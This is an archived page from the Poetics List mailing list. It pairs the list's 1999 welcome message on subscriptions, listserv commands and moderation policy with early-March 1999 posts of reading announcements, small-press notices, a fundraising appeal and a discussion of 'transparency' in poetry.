Please address all inquiries to <[redacted]>.

Electronic Poetry Center: <http://writing.upenn.edu/epc>

= Contents =
1. About the Poetics List
2. Subscriptions
3. Submissions
4. Cautions
5. Digest Option
6. Temporarily turning off Poetics mail
7. "No Review" Policy
8. The Electronic Poetry Center (EPC)
9. Poetics Archives at EPC
10. Publishers & Editors Read This!

Above the world-weary horizons
New obstacles for exchange arise Or unfold,
O ye postmasters!

1. About the Poetics List

The Poetics List was founded by Charles Bernstein in late 1993 with the epigraph above. Now in its second incarnation, the list carries over 600 subscribers, though all of these subscribers do not necessarily receive messages at any given time. A number of other people read the Poetics List via our web archives at the Electronic Poetry Center (see section 9 below).

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

increasing number of subscribers, we are no longer able to maintain the open format with which the list began. All submissions are reviewed by the moderator in keeping with the goals of the list, as articulated in this Welcome Message. We remain committed to this editorial function as a defining element of the Poetics List. Our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

For further information on posting to the list, see section 5 below. Publishers and series co-ordinators, see also section 10.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. See section 7 for details.

We recognize that other lists may sponsor other possibilities for exchange in this still-new medium. We request that those participating in this forum keep in mind the specialized and focussed nature of this project. For subscription information or to contact the editors, write to <[redacted]>.

---

2. Subscriptions

Subscriptions to the Poetics List are free of charge, but formal registration is required. We ask that when you subscribe you provide your real name, street address, email address, and telephone number. All posts to the list must provide your full real name, as registered. If there is any discrepancy between your full name as it appears in the "from" line of the message header, please sign your post at the bottom.

<[redacted]>. Your message should include all of the required information. Please allow several days for your new or re-subscription to take effect.

PLEASE NOTE: All subscription-related information and correspondence remains absolutely confidential.

To unsubscribe, send this one-line message, with no "subject" line to <[redacted]>:

*If you are having difficulty unsubscribing, please note: sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to continue to receive mail from the Poetics List. To avoid this problem, unsub using your old address, then return to your new address and send this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name. If you find that it is not possible to unsub using your old address, please contact the editors at <[redacted]> for assistance.

*Eudora users: if your email address has been changed, you may still be able to unsubscribe without assistance. Go to the "Tools" menu in Eudora, select "Options" and then select setup for "Sending Mail": you may be able to temporarily substitute your old address here to send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increased quota from your system administrator. (University subscribers may wish to argue that this subscription is part of your scholarly communication!) You might also consider obtaining a commercial account. In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply re-subscribe to the list (once your account problem has been resolved!) by sending this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address <[redacted]>. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Submissions

are reviewed by the editors in keeping with the goals of the list as articulated in this Welcome Message (see section 1). Please note that while this list is primarily concerned with poetics, messages relating to politics and political news will also be considered. All correspondence with the editors regarding submissions to the list remains confidential and should be directed to <[redacted]>.

We encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear. Such announcements constitute a core function of this list. Also welcome are other sorts of news, e.g., event reports, obituaries, and reading lists (annotated or not).

Queries may be posted to the list when deemed appropriate; we request that the posting subscriber assemble "highlights" from respondents' posts to be published to the list.

Solicited submissions (by subscribers or non-subscribers) may also appear on Poetics from time to time. The editors reserve the right to contact any subscriber regarding possible submissions.

Posts to the Poetics List should abide by the rules of "Fair Use" when quoting material for which the posting subscriber does not hold copyright. Please do not post to the list personal or "backchannel" correspondence, or other unpublished material, without the express permission of the author!

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment directly to that individual, and not to the list editors.

Send messages to the list directly to the list address:

<[redacted]>

Please do not send messages intended for posting to the list to our administrative address <[redacted]>.

When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the the list's automatic digest program; as a result such messages disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option.

Like all machines, the listserver will sometimes be down: if you feel your message has been delayed or lost, please wait at least one day to see if it shows up, then check the archive to be sure the message is not posted there; if you still feel there is a problem, you may wish to contact the editors at <[redacted]>.

As an outside maximum, we will accept for publication to Poetics no more than 5 messages a day from any one subscriber; in general, we expect subscribers to keep their post to less than 10-15 posts per month. Our goal is a manageable list (manageable both for moderators and subscribers) of twenty or fewer messages per day.

For further information or to contact the editors, please write to <[redacted]>.

---

4. Cautions

It may take up to a week or more to respond to your questions or to subscription requests or to handle any other editorial business or any nonautomated aspect of list maintenance.

Please do not publish list correspondence without the express permission of the author! Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

"Flame" messages will not be tolerated on the Poetics List. In this category are included messages gratuitously attacking fellow listees, also messages designed to "waste bandwidth" or cause the list to reach its daily limit. These messages are considered offensive and detrimental to list discussion. Please do not bother submitting such messages to the editor. Offending subscribers will receive only one warning message. Repeat offenders will be removed from the list immediately. Please do not put this policy to test!

---

5. Digest Option

The Listserve program gives you the option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option.

Send this one-line message, with no "subject" line to <[redacted]>:

    set poetics digest

You can switch back to individual messages by sending this message:

set poetics mail

NOTE!! Send these messages to "listserv" not to Poetics or as a reply to this Welcome Message!!

---

6. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail.

You can temporarily turn off your Poetics subscription by sending this one-line message, with no "subject" line, to <[redacted]>:

set poetics nomail

You may re-activate your poetics subscription by sending this one-line message, with no "subject" line, to the same address:

set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See section 8 below.)

---

7. "No Review" policy

For the safety and security of list subscribers, the "review" function of the Poetics List has been de-activated. Non-posting subscribers' email addresses will remain confidential. Please do not ask the list editors to give out subscriber addresses or other personal information.

---

8. What is the Electronic Poetry Center?

The World Wide Web-based Electronic Poetry Center is located at <http://writing.upenn.edu/epc>.

Our mission is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and around the world. The Center provides access to the burgeoning electronic resources in new poetries including RIF/T and many other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts and bibliographies, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

9. Poetics Archives at the EPC

Go to the Electronic Poetry Center <http://writing.upenn.edu/epc> and select the "Poetics" link from the opening screen. Follow the links to Poetics Archives. Or set your browser to go directly to <http://writing.upenn.edu/epc/poetics/archive>.

You may browse the Poetics List archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

---

10. Publishers & Editors Read This!

PUBLISHERS & EDITORS: The Electronic Poetry Center listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible for our users and ENCOURAGE you to participate!

Send a list of your press/publications to <[redacted]>, with the words EPC Press Listing in the subject line.

You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs or backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

You might also want to send short announcements of new publications directly to the Poetics List as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME MSG

↑ Index

54. Poetics List

constant nagging / friendly message

Wed 3 Mar 1999

All - Since we've never compiled a FAQ for this list, I've decided to send out the Welcome Message or some version thereof periodically (this time by hand - I'll see about having it automated in future). The point is simply to remind subscribers of the main focus of the Poetics List etc.

Things seem to be going well around here - I appreciate everyone's patience with the mailhub failure last month; all of the fallout from that problem has been cleared away. In particular, I want to thank everyone for not inundating me with questions etc. in what I know was probably a time of at least irritating uncertainty. Well, it was for me, anyway.

Thanks, too, for helping to keep the list manageable. As most of you probably realize, moderating the PL isn't my full-time job; that's why messages are forwarded only once or twice a day. The closer we stay to list topics - with the occasional welcome diversions, of course - the easier it is for me to keep up with the list.

A few small requests:

Please remember to excerpt selectively from previous posts. By so doing, you could help save the vision or lower the blood pressure of our fine digest subscribers. Anyway, internet access may be 'free' for some of us, but ultimately words = bits = electricity = natural resources.

Remember to clearly state the date, time, and location (incl. the city and/or country as applicable) in reading/event announcements.

thanks, Chris

Christopher W. Alexander
poetics list moderator

↑ Index

55. Hilton Manfred Obenzinger
Obenzinger.Com
Wed 3 Mar 1999

I tried sending a message some time ago, though I don't think it got through. I'll try again, and if this is repetitive, please forgive.

A friend who designs web sites put together a web site on my books which includes excerpts, reviews, works-in-progress. Please check it out, and let me know any suggestions (about the site or about the books!). You can find the sucker at www.obenzinger.com.

Thanks,

Hilton Obenzinger

↑ Index

56. Hilton Manfred Obenzinger
Re: Now I remember
Wed 3 Mar 1999

Ron --

Mark Twain already dubbed the Long Island farmer on board the Quaker City the "poet lariat" in The Innocents Abroad. His poems were of extraordinary terribleness approaching the sublime -- and the actual character published them after the trip. I don't remember his name right now, but I think the book was "Poems of a Long Island Farmer." In any case, I suppose Twain would let you be the next poet lariat -- but you would have to write such horrible stuff that it would be wonderful. Are you up for it?

Hilton Obenzinger

On Tue, 2 Mar 1999, Ron Silliman wrote:

> It's in "Disappearance of the Word, Appearance of the World," in Das Neue Satz
>
> If I started a school of cowboy language poets,
> could I become poet lariat?
>
> Ron

> ———————————————————————
> Get Your Private, Free Email at http://www.hotmail.com

↑ Index

57. Steven Shoemaker transparent pig
Wed 3 Mar 1999

Although I'm generally sympathetic to critques of the ideology of "transparency" in language, I have to admit I do have a sort of nagging reservation on this point. Maybe "transparency" isn't the right word, but there's a certain kind of experience I've had in reading poetry where the sense of contact is so immediate that the word does, in some sense, seem to have "disappeared." It's not my "usual" way of reading, and it has nothing to do with the Stephen King sort of transparency, and I suppose it tends to come at moments that are in some way epiphanic. It also--here's the paradox--requires supreme attention to language on the author's part. It isn't easy to think of an example off the top of my head--and it wld probably be impossible to point to specific lines anyway, since what I'm talking about probably has more to do with a certain reading state, something perhaps related to a spell or trance. Moments in Whitman, or Reznikoff, or Neruda come to mind...

Anybody else go along with this? steve

↑ Index

58. David Kellogg
Bibliographic inquiry: Vancouver conference
Wed 3 Mar 1999

A student of mine needs to learn as much as she can about the 1963 Vancouver poetry conference as quickly as possible for a class report. What are the best sources? Everything I've picked up on the event has been culled from biographies and pieces of interviews. Thanks in advance.
~~~
~~~

59. Billy Little

Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)

Wed 3 Mar 1999

---

you say tomayto
he say tomahto potahto potayto
the dead enjoy these quibbles hey muriel you're the greatest you should have got the nobel prize but i guess that word vagina looked more dangerous than dynamite

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

60. David Baratier

Forward: help

Wed 3 Mar 1999

From Jennifer Bosveld, at Pudding House (who is doing my next book)
mailto:[redacted]

* Willie Abraham Howard Jr. burned out in Atlanta area fire. We're publishing his book, Memorial Drive, and that's where his apartment burned Monday Feb. 22 while he was at work. His writings only got drenched and have been hanging out to dry on a friend's porch. But almost everything else is gone. His Smith Corona typewriter is a plastic blob. He was already living on little. He wants no sympathy. He sees only love and blessings and an opportunity for change. He is an amazing human being and I love him dearly. Will you help me help him? Alex Haley, it is clear to me, was about to thrust a spotlight on Willie, but Haley died. We're publishing his chapbook--a far cry from the attention Haley could have created. Willie's trying to get resettled. Let's shower him with $5 bills. Can you send ONE? or more? Why don't we do something really fantastic for this young writer who NEVER spends his money in the wrong place. He's a great father, has a strong work ethic, is a super person. He was FEATURED POET in Pudding Magazine a few issues back. Do sign a note to him please. It makes people crazy not to know the names of the people who do nice things. Just tell him you're a writer in support. Or whatever you want to say. The $30 KMart voucher the fire victims got means EVERYTHING to him. Can you imagine? If you do this, it WILL came back to bless you 10-fold because "there is no giving anything away." No matter how much you send him it will bless YOU as much as HIM. I promise. I know, because I'm a goddess [god] just like YOU. Let's create. Let's make this day of creation one from the poets. Go without lunch. Forget the 6-pack. Whatever. For five minutes, I ask you to please put down the new Donald Hall book, drop everything and send a note to

WILLIE ABRAHAM HOWARD JR, 3850 Memorial Drive #C7, Decatur, Georgia 30032.

With a little gift in it. I'm also trying to figure out a way to get him a computer, which goddess Cathy Callaghan stuffed money in my pocket for last night at Larry's Poetry Forum when she heard me talking about this. If you have a recommendation about how I should go about selecting a cheap but no-clunker computer or facilitating this, please enlighten me. Thank you for joining in doing something for someone who least expects it. --Jen

↑ Index

61. Poetry Project

new poets, poems, features

Wed 3 Mar 1999

New work by

Linh Dinh
Shannon Ketch
Gena Mason
Ange Mlinko
Camille Roy

in "Poets & Poems" at the Poetry Project website:
http://www.poetryproject.com

ALSO

in the "Features" section

"The Cyber-Journeys of Jeff Clark": The travels of a young poet through the worlds of the Electronic Discussion List

AND

Barbara Henning's "Interview with Harryette Mullen"

FORTHCOMING SOON:

"The Tiny Press Center"

with reviews, mentions, testimonials, contact information of small journals, chapbooks and other publications (tiny size, price or print run--big impact)

Send us your tiny publications!

To:
The Tiny Press Center
The Poetry Project
St. Mark's Church
131 E. 10th St.
New York, NY 10003

↑ Index

62. David Zauhar
Re: Now I remember
Wed 3 Mar 1999

On Tue, 2 Mar 1999, Ron Silliman wrote:

> It's in "Disappearance of the Word, Appearance of the World," in Das Neue Satz
>
> If I started a school of cowboy language poets,
> could I become poet lariat?
>
> Ron

The official house organ of CoBo LangPo, L=A=S=S=O, features a roundtable discussion of the politics related to the selection of poet lariat. Highlights can be found at their L=A=S=S=O: http://www.getalonglittledoggy.com/~lariat.

Dave Zauhar

↑ Index

63. Pritchett,Patrick
Re: Naropa Poetry Reading
Wed 3 Mar 1999

> Anselm Hollo
> Anne Waldman
> & Andrew Schelling
>
> Introduced by Laura Wright, Josepha Conrad & Danielle Poitras (all Kerouac School MFA grads)

> Saturday March 13, at 8 PM, Naropa PAC

↑ Index

64. George Bowering
Re: c=o=w=b=o=y poetry
Wed 3 Mar 1999

> If I started a school of cowboy language poets,
> could I become poet lariat?
>
> Ron

You have certainly spurred my interest in the project.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

65. Chris Piuma
flim 3/4 (tv or not tv?)
Wed 3 Mar 1999

.....flim: a free page.....
a journal of short, quirky writing

Happened before, it will happen again. There's a shiny new issue of flim out at www.flim.com. Volume three, issue four dares to ask the question: "Would you like to win a piece of authentic art?" Yup, while reading this month's selections of oddball poetic miniatures you -- yes you -- can win a print by talented young artist Manny Saenz-Reyes. (And don't forget about last issue's contest, where you could win a copy of Dodie Bellamy and Bob Harrison's masterpiece of smut, "Broken English" -- you have until 15 March to enter! www.flim.com/flim/flim0303.html)

In this issue of flim, Lawrence Upton acts like a cartoon ("'If you were the enemy, would you know? Please take a leaflet.'") while Ron Henry divulges what's happening today on cable ("Cult classic about a suicidal young man and a vivacious elderly woman. And the news, once broken, is devastating to Marge his room and make you read his privacy statement ("In Munich, at least two prominent Germans are not charismatic perennial question: tv or not tv? Oh, and there's always letters!

So swing on by www.flim.com -- and remember: you can't win if you can't read.

--

flim: a free page is always scanning the neighbordhood looking for submissions. Any original piece of writing (in paragraphs, not verse) from 50-600 words will be considered, the quirkier the better. Previous issues have included jokes, recipes, prose poems, reviews, letters to the editor, parodies, rewritings of older texts, randomly splayed bits of punctuation, and translations of articles from previous issues. flim is edited by Chris Piuma [[redacted]]. It is available in both print and online editions.

--
Chris Piuma, etc. http://www.flim.com
"Autonomy and freedom, the alpha and omega of army practice today

↑ Index

66. pete spence
Re: Now I remember
Wed 3 Mar 1999

>
>It's in "Disappearance of the Word, Appearance of the World," in Das
>Neue Satz
>
>If I started a school of cowboy language poets,
>could I become poet lariat?
>
>Ron
>
only if you give yon reader enough rope//pete spence

> _____
> Get Your Private, Free Email at http://www.hotmail.com

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

67. david bromige
o, sure, "now I remember"
Wed 3 Mar 1999

Silliman "remembers" only after Little-Bromige forward their files of his "Uncompleted [R.Silliman] " concordance. He also appears to have raided Billy's joke book ("for the "poet-lariat" quip). Anyway, I am really posting only because I'm afraid my last b-c to you, R Silliman, didnt go thru; I had posted it to one of those forbidden eddresses, not out of my usual sense of mischief, but my usual sense of inadvertance. Ron, if you are listening, could you let me know to what edress to forward? Thanks, and thanks all for putting up with this intrusion (given that you have)> David.

↑ Index

68. William Slaughter
Mudlark
Thu 4 Mar 1999

New and On View:

Mudlark Poster No. 16 (1999)

* * * * *

Two Poems by Simon Perchik

"Your white shirt too white, its buttons"
"Like a warden at the evening meal"

Simon Perchik's poems have appeared everywhere:
in "big" magazines such as American Poetry Review,
The Nation, The New Yorker, Partisan Review, and Poetry, for example; and from "small" presses.
Among others, the Elizabeth, Scarecrow, White Pine, and Dusty Dog presses have published his books over the years. Pavement Saw Press will release Hands Collected: The Books of Simon Perchik
in Fall 1999. Perchik lives in East Hampton, Long Island.

* * * * *

Spread the word. Far and wide,

William Slaughter

_____
MUDLARK

An Electronic Journal of Poetry & Poetics Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

↑ Index

69. miekal and Bob Holman is all wet
Thu 4 Mar 1999

This is your chance to catch Bob Holman in his element.

As he interviews Maria Damon & Miekal And.

About the everyplace known as Literature Nation.

http://poetry.miningco.com

Bring your umbrella & something to sip.

↑ Index

70. Poetics List
Re: Page Mothers Reading / Silliman
Thu 4 Mar 1999

This message hobbled over to me with a delivery error - hence couldn't come through to the list directly. The "spacer" indicates message status, certainly not a judgement on the content! Chris

---------- Message in error (61 lines)

From: "Ron Silliman" <[redacted]>
Subject: Re: Page Mothers Reading
Date: Wed, 03 Mar 1999 12:03:28 PST

This has to be the single best list I've ever seen for a reading. I do hope somebody there will report both this event & the conference in full to those of us in the hinterlands.

Ron Silliman

↑ Index

71. Maria Damon
Re: Now I remember
Thu 4 Mar 1999

At 8:48 AM -0800 3/3/99, Hilton Manfred Obenzinger wrote:
 His poems were of extraordinary terribleness approaching the sublime

thanks for that lovely phrase. it begins to get at what i find so appealing about "doggerel," especially on a subject of emotional importance to the writer. it's been hard for me to get across to folks why this stuff is significant to me and why i want to write about it, but this phrase helps.

↑ Index

72. Brian Lucas
Joanne Kyger & Gerrit Lansing
Thu 4 Mar 1999

Honey from the Rock, or Goo Stew

Thousand-petalled cascades from the Orchards of Sleep

Skeleton-echo preserved in glass, the Dark Grammarian
grey-haired, in black ---a blue oak divined in well-bottom

his Heavenly Tree a Great Form without Shape

Gerrit Lansing last night at the Poetry Project. No one should've missed it--and many, thankfully, didn't.

A great reed boat dropped him off at the lectern, a flock of seraphim took him back to Gloucester. The Tree he lives in, for decades--through the Boston axis--where's he been, where have we been? --grows upward, out from the groin, partaking of spherical musics, cloud-manna.

Joanne Kyger was next, a welcome blast of Bolinas beachlounging--the thunder blasting behind her--"I'll wait for Zeus to finish..."--pure California iceplant farmer, scouting white foams for bodhi leaf. Dark glasses she wore were actually satellite dishes picking up the quiet descriptive transmissions that eventually appears in the pomes. Damn fine clarity. I wanted to go back home with "Miss Kids" for tea--Stinson Beach huts appearing off to her side--

↑ Index

73. Eric Gleason, aka Agent Sunshine music
Thu 4 Mar 1999

chax, a while ago you posted about blues and tragic love, somehting like that. i replied but i don't think my reply ever went to the list. tried to backchannel but i didn't have yr address. i'd love to know more of what you're getting at if you want to hit me backchannel.

This post shamelessly copied from a bbs. The line about the reasons the woman played half-naked caught me....

eryque

From _The Guinness Book of Music Facts and Feats_. It's the side of music they try not to teach us. The subject is, "The Longest Instrumental Work." It's about a piece by Satie titled Vexations. Here's part of the article...

"It consists of a 52 beat unbarred idea, with the indication 'Tres lent,' played 840 times with as little variation as possible. The first performance, organised by John Cage at the Pocket Theatre, New York, in 1963, lasted 18 hours and 12 minutes and was performed by a group of ten pianists in relay. Since then there have been many other performances: the second was in Berlin during August 1966 at which a relay of six pianists took part: for her second stint Charlotte Moorman introduced a novel way of breaking the monotony by appearing unclothed from the waist up. Her reasons were both musicological and financial: Satie, it is said, " loved nudity", and John Cage bet her $100 she wouldn't do it. On this occasion the performance of the music took 18 hours and 40 minutes."

...it goes on to mention a performance done in England (I think) that took 24 hours, by one performer... and another that was done in Australia, another attempt to play the whole thing by one performer, that had to end after only 17 hours - the performer was taken to hospital in a coma.

↑ Index

74. Rebecca Wolff
Re: transparent pig
Thu 4 Mar 1999

What's wrong with the Steven King sort of transparency? I do believe it is not unconnected to the later "trance, or spell" that you refer to in the sense that there is undeniably something freakishly supernatural about subjectivity when it seems objective. Assuming that's what you meant by Steven King sort of transparency.

Let me back up: could someone just give me a short treatise on past critiques of "transparency"; what's the trope?

Rebecca

↑ Index

75. Lowther,John
Re: transparent pig
Thu 4 Mar 1999

---

i think that Steven is on to something here that i often think about (even write about) - & too don't know that 'transparency' is the best word for it for me, my early experiences of listening to Cage's Etudes Australes had somethingof this effect in another medium - but i think i've had similar experiences with even the most material of reading; Finnegans Wake, Tender Buttons, "A"-22/23 - i think that what Steven is getting at is something like what Charles Peirce was talking about when he spoke of "firstness"

perhaps this only seems like an epiphany b/c most of our time is spent in other senses of relationship to the world/ourselves

i've been persuing some of these types of questions with the particpants in Peirce-L - specifically i brought up Pound's famous 'three types of poetry' [melo- phano- logo-] and explored the analogy to Peirce's categories - other members of Peirce-L suggested using his semeiotic instead of his categories w/relation to Pound - i'm pursuing that at present

)L

↑ Index

76. Lowther,John
Re: transparent pig
Thu 4 Mar 1999

Rebecca

you cd find much of the argument against transparency in Silliman (someplace in THE NEW SENTANCE) and Bernstein ("The Artifice of Absorption" in APOETICS) also in Andrews' critical stuff someplace the idea in brief (and thus with potentially large distortions - my apologies to the makers of these arguments) is; that, seemingly transparent language is used to report on the world, represent the way-things-are, etc - b/c of its transparency, its hiding of it's constructedness and ideological assumptions, it is used as tool to maintain power, status quo, etc the issue then becomes - is Stephen King supporting the powers that be thru his use of this "transparent" mode - and the answers differ depending - i think Andrews wd say yes

i suspect that in some of these formulations that too much emphasis is placed on the power of form - the 'politics of poetic form' to use the title so well known

)L

> -----Original Message-----
> From: Rebecca Wolff [SMTP:[redacted]]
> Sent: Thursday, March 04, 1999 11:13 AM
> To: [redacted]
> Subject: Re: transparent pig
>
> What's wrong with the Steven King sort of transparency? I do believe it is not unconnected to the later "trance, or spell" that you refer to in the sense that there is undeniably something freakishly supernatural about subjectivity when it seems objective. Assuming that's what you meant by Steven King sort of transparency.
>
> Let me back up: could someone just give me a short treatise on past critiques of "transparency"; what's the trope?
>
> Rebecca

↑ Index

77. Linda Russo
Re: transparent pig
Thu 4 Mar 1999

---

when I think "transparent poet" and "dissappearing words" this morning I think Notley, whose long poems get very trance-like, and who, according to her 1992 intro to _the Scarlet Cabinet_, a co-collection of texts with Douglas Oliver, wants to get back to "essences," to be "invisible" so as to stop filling the world with more "man-made" material (she calls it "detritus" and I think lovingly of very "opaque" (but not dense or in-sensible) material-cluttered poems -- But even Stein can be read "transparently").

maybe the problem with the word "transparency" is it's too value-laden and implies that the artifice it's meant to conceal is negative ("oh she's so transparent"). Notley prefers "invisible" as opposed to the non-visible, & mabye Steven, this is close to what you're getting at. Notley's "escape" to the invisible is not an escape to the transparent "self" -- the "I" that so many self-posessed lyrics assume, but to the "air" -- the group of the oral tradition, a medium that's so "transparent" that it's not visible, yet so utterly "visible" that it doesn't need (written) words! Incredible!

So, what's "wrong" with King in this context: made-for-t.v./mediation/cluttered commercial time vs. made-for-people/in Notley's ideal unmediated -- "Things must be thouht out & saved in the air [and not on the air-waves], in order to do less harm to the world"

As for critique Marjorie Perloff's "Against Transparency" would be an obvious place to start (published in her 1991 collection _Radical Artifice_)

↑ Index

78. sylvester pollet
1999 MLA Session
Thu 4 Mar 1999

Dear Chris et al, I'm forwarding this at the request of Barry Ahearn. He has had a few more responses, but not yet enough to make the session go, so jump in. Please reply to him, not to list nor me. best, Sylvester

> From: barry ahearn <[redacted]>
> Organization: Tulane University Dept. of English
> Subject: 1999 MLA Session
> To: [redacted]
>
> The call for papers for one of the Pound Society sessions at the 1999 MLA, "Pound's Tribalisms," has received a single response. Therefore I am extending the deadline to March 15. Here is the call once again: "Pound's Tribalisms. Pound's interest in aspects of tribal behavior; Pound as a figure around whom a 'tribe' gathered. Ten-page papers, abstracts, or proposals by 15 March 1999 to Barry Ahearn." Send them to me c\o Department of English, Tulane University, New Orleans LA 70118. If you want to submit an abstract or proposal via e-mail, feel free to do so.
>
> Barry Ahearn

↑ Index

79. Pete Neufeld
I wanted to invite you and Yedda
Thu 4 Mar 1999

---

to the ATTIC on Saturday March 13th (5pm) where I'll be reading with Sarah Mangold. Hope the two of you can make it. Pete

↑ Index

80. Prageeta Sharma

Fwd: events

Thu 4 Mar 1999

Return-Path: <[redacted]> air-yc01.mail.aol.com (v56.26) with SMTP; Thu, 04 Mar 1999 14:08:47 -0500 rly-yc02.mx.aol.com (vx) with SMTP; Thu, 04 Mar 1999 14:08:30 -0500 by medisg.Stanford.EDU (8.8.8/8.8.8) with ESMTP id LAA10300 for <[redacted]>; Thu, 4 Mar 1999 11:07:55 -0800 (PST)
From: [redacted]
by imo23.mx.aol.com (IMOv19.3) id 5JDIa15952
for <[redacted]>; Thu, 4 Mar 1999 14:07:05 -0500 (EST)
Date: Thu, 4 Mar 1999 14:07:05 EST
To: [redacted]
Subject: events

Hello Everyone

I will give you an update of some events happening in March that have to do with your friend Prageeta Sharma and her friends which are also your friends too. I apologize in advance for any inconvenience and shameless self-promotion and promotion in general.

Prageeta Sharma is reading at the Asian American Writer's Workshop on March 11, at 7:30 (i think-- more info later) at 37 St. Marks Place.

Book Party at Prageeta's place for Jeff Conant's book The Evacuated Forest Papers (Buck Down Books) on March 13 at 8pm. flyer to come!

The Sleeves (Maggie, Jeanne, & Prageeta) will be playing a St. Patrick's Show at The Charleston Bar in Brooklyn. flyer to come!

Maggie Zurawski and Prageeta Sharma read at The New College in San Francisco March 19.

Please e-mail me for more info and I will post more info soon about the events very soon.

Best Wishes!

Prageeta Sharma

↑ Index

81. acgold01
Levine on transparency
Thu 4 Mar 1999

Sorry I've forgotten who it was who asked for Phil Levine references--but anyway, the passage that Mark Prejsnar mentions (the desire for a poem where the words are invisible) is indeed from a Levine interview, and it's cited in the middle of a couple of pages on Levine in Marjorie Perloff's Radical Artifice. Far be it from me to correct Ron on his own oeuvre, but I don't think he cites it in "Disappearance of the Word," though granted he does mention Saul Bellow as a novelist of the disappeared or invisible word. (OK, "near be it to me," since I've just done it.)

Alan

↑ Index

82. Erik Sweet
"Tool a Magazine" # 2 for SALE! Now!
Thu 4 Mar 1999

Is is finally here folks! Yes it is!

"Tool a Magazine" Issue Number 2 available now for 7$ pp mailorder to: P.O. Box 3125, Albany NY 12203. Checks payable to:
Erik Sweet or Lori Quillen.

Support our magazine and the great poets we publish by purchasing this fine issue, paid for straight out of the pockets of the editors, which includes:

Alice Notley, Clark Coolidge, Paul Metcalf, Hoa Nguyen, Kenneth Koch
Chandler Lewis,Mallarme trans. by William Marsh, Jorge Clar, Dale Smith, Brian Lucas, Eleni Sikelianos, Brenda Coultas, John Bennett, John Latta, Travis
Ortiz, Rod Smith, Chris McCreary, Randy Prunty, Todd Moore, Pamela Lu, Summi Kaipa, Phil Good, and pictures by Kevin Opstedal and Brenda Iijima, plus more.

Please order now as our first issue went rather fast!

Erik and Lori

↑ Index

83. Tom Beckett
a.l.nielsen's new book
Thu 4 Mar 1999

New from Sink Press is A.L. Nielsen's VEXT. One can only wonder what will come nexed.

↑ Index

84. Safdie Joseph McNaughton in Seattle, Vancouver
Thu 4 Mar 1999

Billy Little recently nominated Duncan McNaughton's "Black Spoon" for the long poem list that was going around recently. Here's a snippet:

_____

some bugle to wake up the nation
some furious trumpet to wake up the town what they used to call the city when they used to call it pretty now it's dirty from its tuque to its boot

it only needs to shake off the dust dusty ash from a smoking moon fallen dusty ash from some burned-out suns

that's why spirit weeps at the crossroads that's why lips glisten with tears that's why she cut out su lengua when she opens her mouth to sing she makes the sound of water gurgling down a harsh drain

Federico asked to pin a gaudy orange pomegranate flower to her black tunic of mail he brought a smile to her lips glistening with tears sus labios reluciendo con lagrimas

les fontaines de jouvence some old negro gardener who tends that tree up and down San Antonio ya se va by the name of Khidr
he plays that long slender flute

that ney of Konya which echoes inside some tomb

its emerald roof domed against an ice blue sky

